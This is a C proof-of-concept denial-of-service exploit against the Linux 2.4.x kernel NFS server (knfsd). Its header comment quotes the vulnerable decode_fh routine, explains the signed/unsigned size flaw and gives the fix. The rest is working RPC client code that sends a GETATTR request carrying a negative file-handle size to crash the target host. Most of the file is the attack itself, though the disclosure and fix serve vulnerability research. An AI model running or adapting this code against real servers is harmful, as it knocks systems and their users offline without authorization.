/* Linux 2.4.x knfsd kernel signed/unsigned decode_fh DoS Author: jared stanbrough Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64) static inline u32 * decode_fh(u32 *p, struct svc_fh *fhp) { int size; fh_init(fhp, NFS3_FHSIZE); size = ntohl(*p++); if (size > NFS3_FHSIZE) return NULL; memcpy(&fhp->fh_handle.fh_base, p, size); fhp->fh_handle.fh_size = size; return p + XDR_QUADLEN(size); } This code is called by quite a few XDR decoding routines. The below POC demonstrates the vulnerability by encoding a malicious fhsize at the beginning of a diroparg xdr argument. To test this, the vulnerable host must have an accessible exported directory which was previously mounted by the attacker. _HOWEVER_ it may be possible to trigger this bug by some other method. Fix: Simply change size to an unsigned int, or check for size < 0. */ #include #include #include #include #include #include #define NFSPROG 100003 #define NFSVERS 3 #define NFSPROC_GETATTR 1 static struct diropargs heh; bool_t xdr_heh(XDR *xdrs, diropargs *heh) { int32_t werd = -1; return xdr_int32_t(xdrs, &werd); } int main(void) { CLIENT * client; struct timeval tv; client = clnt_create("marduk", NFSPROG, NFSVERS, "udp"); if(client == NULL) { perror("clnt_create\n"); } tv.tv_sec = 3; tv.tv_usec = 0; client->cl_auth = authunix_create_default(); clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh, (xdrproc_t) xdr_void, NULL, tv); return 0; }